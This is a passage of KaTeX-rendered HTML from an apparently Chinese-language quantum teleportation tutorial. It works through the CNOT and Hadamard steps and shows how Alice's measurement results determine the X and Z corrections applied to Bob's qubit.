class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.0294em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>做一個 CNOT Gate</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><msub><mi>ψ</mi><mn>3</mn></msub><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mi>α</mi><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>β</mi><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}\psi_3\rangle = \frac12\left( \alpha\left( \vert{}00\rangle + \vert{}11\rangle \right)\vert{}0\rangle + \beta\left( \vert{}01\rangle + \vert{}10\rangle \right)\vert{}1\rangle \right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>做一個 H Gate</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><msub><mi>ψ</mi><mn>4</mn></msub><mo stretchy="false">⟩</mo><mo>=</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mfrac><mn>1</mn><mrow><mn>2</mn><msqrt><mn>2</mn></msqrt></mrow></mfrac><mrow><mo fence="true">(</mo><mi>α</mi><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mo>+</mo><mi>β</mi><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mo lspace="0em" rspace="0em">=</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mfrac><mn>1</mn><mrow><mn>2</mn><msqrt><mn>2</mn></msqrt></mrow></mfrac><mrow><mo fence="true">(</mo><mrow><mo fence="true">(</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mrow><mo fence="true">(</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>+</mo><mrow><mo fence="true">(</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo>+</mo><mrow><mo fence="true">(</mo><mo>−</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}\vert{}\psi_4\rangle = &amp; \frac{1}{2\sqrt2}\left( \alpha\left( \vert{}00\rangle + \vert{}11\rangle \right)\left( \vert{}0\rangle + \vert{}1\rangle \right) + \beta\left( \vert{}01\rangle + \vert{}10\rangle \right)\left( \vert{}0\rangle - \vert{}1\rangle \right) \right) \\= &amp;\frac{1}{2\sqrt2}\left(    \left( \alpha\vert{}0\rangle+\beta\vert{}1\rangle \right) \vert{}00\rangle +    \left( \alpha\vert{}0\rangle-\beta\vert{}1\rangle \right) \vert{}01\rangle +    \left( \beta\vert{}0\rangle+\alpha\vert{}1\rangle \right) \vert{}10\rangle +    \left( -\beta\vert{}0\rangle+\alpha\vert{}1\rangle \right) \vert{}11\rangle\right)\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.8029em;vertical-align:-2.1514em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.6514em;"><span style="top:-4.6514em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span></span></span><span style="top:-2.1em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mrel">=</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.1514em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.6514em;"><span style="top:-4.6514em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-2.1em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">−</span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.1514em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>接著 Alice 對 D 和 A 進行測量 (也就是圖中第一列、第二列的 qubit)，然後把它回傳。<br>從 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>ψ</mi><mn>4</mn></msub></mrow><annotation encoding="application/x-tex">\psi_4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 可以發現只要確定 D 和 A，那麼就能確定 B 的狀態，進而對他進行 NOT 或 Z Gate 把他轉換成 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}\psi\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span></span></span></span></p><p>舉例來說，如果 Alice 量到 D 跟 A 都是 1，代表 B 一定是</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mo>−</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\frac{1}{\sqrt2}\left( -\beta\vert{}0\rangle+\alpha\vert{}1\rangle \right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">−</span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>那我們對他做 X Gate 再做 Z Gate，他就會變成</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\frac{1}{\sqrt2}\left( \alpha\vert{}0\rangle+\beta\vert{}1\rangle \right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" 